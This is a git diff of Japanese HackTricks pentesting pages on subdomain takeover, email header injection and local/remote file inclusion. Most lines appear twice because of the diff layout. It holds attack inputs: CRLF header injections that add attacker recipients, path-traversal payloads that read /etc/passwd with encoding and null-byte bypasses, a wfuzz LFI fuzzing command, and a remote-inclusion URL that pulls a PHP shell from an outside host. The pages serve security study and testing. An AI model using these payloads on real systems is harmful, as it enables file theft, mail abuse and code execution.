さらなるリスクには、**NSレコード乗っ取り**があります。攻撃者がドメインの1つのNSレコードを制御すると、トラフィックの一部を自分の制御下のサーバーに向ける可能性があります。攻撃者がDNSレコードのTTL生存時間を高く設定すると、攻撃の期間が延長されるため、このリスクは増幅されます。 さらなるリスクには、**NSレコード乗っ取り**があります。攻撃者がドメインの1つのNSレコードを制御すると、トラフィックの一部を自分の管理下のサーバーに向ける可能性があります。攻撃者がDNSレコードのTTL生存時間を高く設定すると、攻撃の期間が延長され、このリスクが増大します。
### CNAMEレコードの脆弱性 ### CNAMEレコードの脆弱性
攻撃者は、使用されなくなった外部サービスを指す未使用のCNAMEレコードを悪用するかもしれません。これにより、信頼されたドメインの下にページを作成し、フィッシングやマルウェアの配布をさらに容易にすることができます。 攻撃者は、使用されなくなった外部サービスを指す未使用のCNAMEレコードを悪用するかもしれません。これにより、信頼されたドメインの下にページを作成し、フィッシングやマルウェアの配布をさらに容易にすることができます。
@ -83,7 +83,7 @@ bbot -t evilcorp.com -f subdomain-enum
緩和策には次のものがあります: 緩和策には次のものがあります:
1. **脆弱なDNSレコードの削除** - サブドメインが不要になった場合に効果的です。 1. **脆弱なDNSレコードの削除** - サブドメインが不要になった場合に効果的です。
2. **ドメイン名の取得** - 対応するクラウドプロバイダーでリソースを登録するか、期限切れのドメインを再購入することが含まれます。 2. **ドメイン名の取得** - 対応するクラウドプロバイダーでリソースを登録するか、期限切れのドメインを再購入することが含まれます。
3. **脆弱性の定期的な監視** - [aquatone](https://github.com/michenriksen/aquatone)などのツールを使用して、脆弱なドメインを特定することができます。組織はまた、インフラ管理プロセスを見直し、DNSレコードの作成がリソース作成の最終段階であり、リソース破棄の最初の段階であることを確認すべきです。 3. **脆弱性の定期的な監視** - [aquatone](https://github.com/michenriksen/aquatone)などのツールを使用して、脆弱なドメインを特定することができます。組織はまた、DNSレコードの作成がリソース作成の最終段階であり、リソース破棄の最初の段階であることを確認するために、インフラ管理プロセスを見直す必要があります。
クラウドプロバイダーにとって、ドメイン所有権の検証はサブドメイン乗っ取りを防ぐために重要です。[GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)など、一部のプロバイダーはこの問題を認識し、ドメイン検証メカニズムを実装しています。 クラウドプロバイダーにとって、ドメイン所有権の検証はサブドメイン乗っ取りを防ぐために重要です。[GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/)など、一部のプロバイダーはこの問題を認識し、ドメイン検証メカニズムを実装しています。
@ -93,21 +93,21 @@ bbot -t evilcorp.com -f subdomain-enum
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセス: 今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう</strong></summary> <summary><strong>**ゼロからヒーローまでのAWSハッキングを**学ぶ<a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れる
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 * 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -15,14 +15,14 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。
</details> </details>
## 送信されたメールにインジェクト ## 送信済みメールにインジェクト
### 送信者引数の後にCcとBccをインジェクト ### 送信者引数の後にCcとBccをインジェクト
``` ```
@ -30,13 +30,13 @@ From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
``` ```
### 引数のインジェクション ### 引数のインジェクション
メッセージは受信者および受信者1アカウントに送信されます。 メッセージは受信者および受信者1アカウントに送信されます。
``` ```
From:sender@domain.com%0ATo:attacker@domain.com From:sender@domain.com%0ATo:attacker@domain.com
``` ```
### 件名引数をインジェクトす ### 件名引数をインジェクトしま
The message will be sent to the original recipient and the attacker account. 原本の受信者と攻撃者アカウントにメッセージが送信されます。
``` ```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject From:sender@domain.com%0ASubject:This is%20Fake%20Subject
``` ```
@ -64,7 +64,7 @@ Parameter #4 [ <optional> $additional_parameters ]
``` ```
#### 第5パラメーター$additional\_parameters #### 第5パラメーター$additional\_parameters
このセクションは、**攻撃者がそれを制御していると仮定してこのパラメーターを悪用する方法**に基づいています。 このセクションは、**攻撃者がそれを制御すると仮定した場合に、このパラメーターを悪用する方法**に基づいています。
このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、`escapeshellcmd($additional_parameters)`関数でサニタイズされます。 このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、`escapeshellcmd($additional_parameters)`関数でサニタイズされます。
@ -72,7 +72,7 @@ Parameter #4 [ <optional> $additional_parameters ]
#### /usr/sbin/sendmailの実装の違い #### /usr/sbin/sendmailの実装の違い
**sendmail**インターフェースは、システムにインストールされているMTAメールソフトウェアSendmail、Postfix、Eximなどによって提供されます。**基本機能**-t -i -fパラメータなど互換性のために**同じ**ですが、**他の機能やパラメーター**は、インストールされているMTAによって大きく異なります。 **sendmail**インターフェースは、システムにインストールされているMTAメールソフトウェアSendmail、Postfix、Eximなどによって提供されます。**基本機能**-t -i -fパラメータなど)は互換性のために**同じ**ですが、**その他の機能やパラメーター**は、インストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるmanページのいくつかの例です 以下は、sendmailコマンド/インターフェースの異なるmanページのいくつかの例です
@ -80,17 +80,17 @@ Parameter #4 [ <optional> $additional_parameters ]
- Postfix MTA: [http://www.postfix.org/mailq.1.html](http://www.postfix.org/mailq.1.html) - Postfix MTA: [http://www.postfix.org/mailq.1.html](http://www.postfix.org/mailq.1.html)
- Exim MTA: [https://linux.die.net/man/8/eximReferences](https://linux.die.net/man/8/eximReferences) - Exim MTA: [https://linux.die.net/man/8/eximReferences](https://linux.die.net/man/8/eximReferences)
**sendmailの起源**によって異なるオプションが発見され、それらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行したり**することができます。詳細は[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)で確認してください。 **sendmailの起源に応じて**、それらを悪用して**ファイルを漏洩させたり、任意のコマンドを実行したり**するための異なるオプションが発見されています。詳細は[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)で確認してください。
## メール名に注入 ## メール名へのインジェクション
### メールの無視される部分 ### メールの無視される部分
稀な場合、記号:**+、-**、および**{}**は、タグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。 稀な場合、記号:**+、-**、および**{}**は、タグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。
- 例john.doe+intigriti@example.com → john.doe@example.com - 例john.doe+intigriti@example.com → john.doe@example.com
**かっこ内のコメント()**は、先頭または末尾にある場合も無視されます。 **かっこ内のコメント**は、先頭または末尾にあっても無視されます。
- 例john.doe(intigriti)@example.com → john.doe@example.com - 例john.doe(intigriti)@example.com → john.doe@example.com
@ -117,12 +117,12 @@ Parameter #4 [ <optional> $additional_parameters ]
### XSS ### XSS
**github**や**salesforce**などの一部のサービスでは、**XSSペイロードの入ったメールアドレスを作成**することができます。このプロバイダーを使用して他のサービスにログインし、のサービスがメールを適切にサニタイズしていない場合、**XSS**を引き起こす可能性があります。 **github**や**salesforce**などの一部のサービスでは、**XSSペイロードの含まれたメールアドレスを作成**することができます。これらのプロバイダーを使用して他のサービスにログインし、のサービスがメールを適切にサニタイズしていない場合、**XSS**を引き起こす可能性があります。
### アカウント乗っ取り ### アカウント乗っ取り
**salesforce**のような**SSOサービス**が、**与えられたメールアドレスを確認せずにアカウントを作成**することを許可し、そのアカウントを使用して**salesforceを信頼する別のサービスにログイン**できる場合、任意のアカウントにアクセスできます。\ **salesforce**のような**SSOサービス**が、与えられたメールアドレスを確認せずにアカウントを作成することを許可し、そのアカウントを使用して**salesforceを信頼する別のサービスにログイン**できる場合、任意のアカウントにアクセスできます。\
_与えられたメールが検証されたかどうかをsalesforceが示しているが、アプリケーションはこの情報を考慮すべきです。_ _なお、salesforceは与えられたメールが確認されたかどうかを示していますが、アプリケーションはこの情報を考慮すべきです。_
## Reply-To ## Reply-To
@ -130,15 +130,15 @@ _与えられたメールが検証されたかどうかをsalesforceが示して
## ハードバウンス率 ## ハードバウンス率
AWSなどの一部のサービスでは、通常10%に設定された**ハードバウンス率**として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。 AWSなどの一部のサービスは、通常10%に設定される**ハードバウンス率**として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。
**ハードバウンス**とは、受信者のアドレスが無効または存在しないために送信者に返送された**メール**を指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーが**メール**を受け入れないことによって発生する可能性があります。 **ハードバウンス**とは、受信者のアドレスが無効または存在しないために送信者に返送された**メール**を指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーが**メール**を受け入れないことによる可能性があります。
AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンスになった場合無効なアドレスやドメインなどの理由、これは10%のハードバウンス率を意味します。この率に達すると、AWS SESSimple Email Serviceがメール送信機能をブロックまたは一時停止する可能性があります。 AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンス無効なアドレスやドメインなどの理由になった場合、これは10%のハードバウンス率を意味します。この率に達すると、AWS SESSimple Email Serviceがメール送信機能をブロックまたは一時停止する可能性があります。
中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。 中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。
詳細な情報については、AWSの公式ドキュメントである[**AWS SES Bounce Handling**](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)を参照してください。 詳細については、AWSの公式ドキュメントである[**AWS SES Bounce Handling**](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)を参照してください。
## 参考文献 ## 参考文献
@ -146,3 +146,25 @@ AWSの場合、1000通のメールを送信し、そのうち100通がハード
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) - [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) - [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
- If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって動作する**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -8,35 +8,35 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**してください
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに参加してください
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じてハッキングの世界を最新の状態に保つ リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
**最新のアナウンス**\ **最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を把握す 最新のバグバウンティの開始や重要なプラットフォームのアップデートについての情報を得
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!
## ファイルインクルージョン ## ファイルインクルージョン
**リモートファイルインクルージョンRFI:** ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します。PHPでは、これはデフォルトで**無効**になっています(**allow\_url\_include**)。\ **リモートファイルインクルージョンRFI:** ファイルがリモートサーバーから読み込まれます(最適: コードを書いてサーバーが実行します。PHPでは、これはデフォルトで **無効**す(**allow\_url\_include**)。\
**ローカルファイルインクルージョンLFI:** サーバーがローカルファイルを読み込みます。 **ローカルファイルインクルージョンLFI:** サーバーがローカルファイルを読み込みます。
この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをいくつかの方法で制御できる場合に発生します。 この脆弱性は、ユーザーがサーバーによって読み込まれるファイルをある方法で制御できる場合に発生します。
脆弱な**PHP関数**: require、require\_once、include、include\_once 脆弱な **PHP関数**: require、require\_once、include、include\_once
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -53,7 +53,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
`/``\` に変更してみてください\ `/``\` に変更してみてください\
`../../../../../` を追加してみてください `../../../../../` を追加してみてください
脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)で見つけることができます。 脆弱性の存在を確認するためにファイル /etc/password を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) で見つけることができます。
### **Windows** ### **Windows**
@ -62,9 +62,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
`/``\` に変更してみてください\ `/``\` に変更してみてください\
`C:/` を削除し、`../../../../../` を追加してみてください `C:/` を削除し`../../../../../` を追加してみてください
脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)で見つけることができます。 脆弱性の存在を確認するためにファイル /boot.ini を見つけるために複数の技術を使用するリストは[こちら](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) で見つけることができます。
### **OS X** ### **OS X**
@ -72,7 +72,7 @@ Linux の LFI リストをチェックしてください。
## 基本的な LFI とバイパス ## 基本的な LFI とバイパス
すべての例はローカルファイルインクルージョン向けですが、リモートファイルインクルージョンにも適用できますpage=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。 すべての例はローカルファイルインクルージョンですが、リモートファイルインクルージョンにも適用できますpage=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/)。
``` ```
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
@ -84,7 +84,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **ヌルバイト (%00)** ### **ヌルバイト (%00)**
提供された文字列の末尾にさらに文字を追加してバイパスする(バイパス方法: $\_GET\['param']."php" 提供された文字列の末尾に追加の文字をバイパスする(バイパス方法: $\_GET\['param']."php"
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
@ -92,7 +92,7 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **エンコーディング** ### **エンコーディング**
ダブルURLエンコードなどの非標準のエンコーディングを使用できます: ダブルURLエンコード(その他も含む)など、標準でないエンコーディングを使用することができます:
``` ```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -101,7 +101,7 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### 既存のフォルダから ### 既存のフォルダから
バックエンドがフォルダのパスをチェックしている可能性があります もしかしたら、バックエンドがフォルダのパスをチェックしているかもしれません
```python ```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
@ -110,12 +110,12 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています: サーバーのファイルシステムは、特定のテクニックを用いて、ファイルだけでなくディレクトリを再帰的に探索することができます。このプロセスには、ディレクトリの深さを特定し、特定のフォルダの存在を調査することが含まれます。以下に、これを達成するための詳細な方法が示されています:
1. **ディレクトリの深さを特定する:** 1. **ディレクトリの深さを特定する:**
現在のディレクトリの深さを確認するには、`/etc/passwd`ファイルを正常に取得することによってサーバーがLinuxベースの場合に適用されます、ディレクトリの深さを確定します。深さが3であることを示す、以下に示す例のURLが構造化されているかもしれません 現在のディレクトリの深さを確認するには、`/etc/passwd`ファイルを正常に取得することによってサーバーがLinuxベースの場合に適用され、ディレクトリの深さを確定します。深さが3であることを示す、以下のような構造の例のURLがあります
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **フォルダの探:** 2. **フォルダの探:**
URLに疑わしいフォルダの名前: `private`)を追加し、次に`/etc/passwd`に戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります: URLに疑わしいフォルダの名前`private`)を追加し、次に`/etc/passwd`に戻ります。追加のディレクトリレベルは、深さを1つ増やす必要があります
```bash ```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
@ -127,21 +127,21 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
4. **再帰的な探索:** 4. **再帰的な探索:**
発見したフォルダは、同じ技術または従来のローカルファイルインクルージョンLFI方法を使用して、さらにサブディレクトリやファイルを調査できます。 発見したフォルダは、同じ技術または従来のローカルファイルインクルージョンLFI方法を使用して、さらにサブディレクトリやファイルを調査できます。
ファイルシステム内の異なる場所のディレクトリを探索する場合は、ペイロードを適切に調整します。たとえば、現在のディレクトリが深さ3であると仮定して、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認するには、次のようにします: ファイルシステム内の異なる場所のディレクトリを探索するは、ペイロードを適切に調整します。たとえば、現在のディレクトリが深さ3であると仮定して、`/var/www/` に `private` ディレクトリが含まれているかどうかを確認するには、次のようにします:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **パス切り詰め技術** ### **パス切り詰め技術**
パス切り詰めは、Webアプリケーション内のファイルパスを操作するために使用される手法です。これは、特定のセキュリティ対策がファイルパスの末尾に追加の文字を付加することで、制限されたファイルにアクセスするためにしばしば使用されます。目標は、セキュリティ対策によって変更されたファイルパスが、依然として目的のファイルを指すようにすることです。 パス切り詰めは、Webアプリケーション内のファイルパスを操作するため手法です。これは、特定のセキュリティ対策がファイルパスの末尾に追加の文字を付加することで、制限されたファイルにアクセスするためにしばしば使用されます。目標は、セキュリティ対策によって変更されたファイルパスが、依然として目的のファイルを指すようにすることです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。たとえば
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、`/etc/passwd/` はすべて同じパスとして扱われます。 - `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`、`/etc/passwd/` はすべて同じパスとして扱われます。
- 最後の6文字が `passwd` の場合、`/` を追加して `passwd/` すると、対象のファイルが変わらない。 - 最後の6文字が `passwd` の場合、`/` を追加して `passwd/` すると、対象のファイルが変わらない。
- 同様に、ファイルパスに `.php` が追加された場合(例:`shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。 - 同様に、ファイルパスに `.php` が追加されている場合(例: `shellcode.php`)、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
提供された例は、パス切り詰めを利用して一般的なターゲットである `/etc/passwd` にアクセスする方法を示しています。このファイルには機密情報(ユーザーアカウント情報)が含まれているため、よくターゲットとされます。 提供された例は、パス切り詰めを利用して `/etc/passwd` にアクセスする方法を示しています。これは、その中にユーザーアカウント情報などの機密情報が含まれているため、一般的なターゲットです。
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -157,12 +157,12 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
トラバーサルシーケンス(`../`)は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視する効果的な方法となります。 トラバーサルシーケンス(`../`)は、追加のドットセグメントと文字と組み合わせて使用することで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を無視する効果的な方法となります。
- **必要なトラバーサルの数を決定する**: - **必要なトラバーサルの数を決定する**:
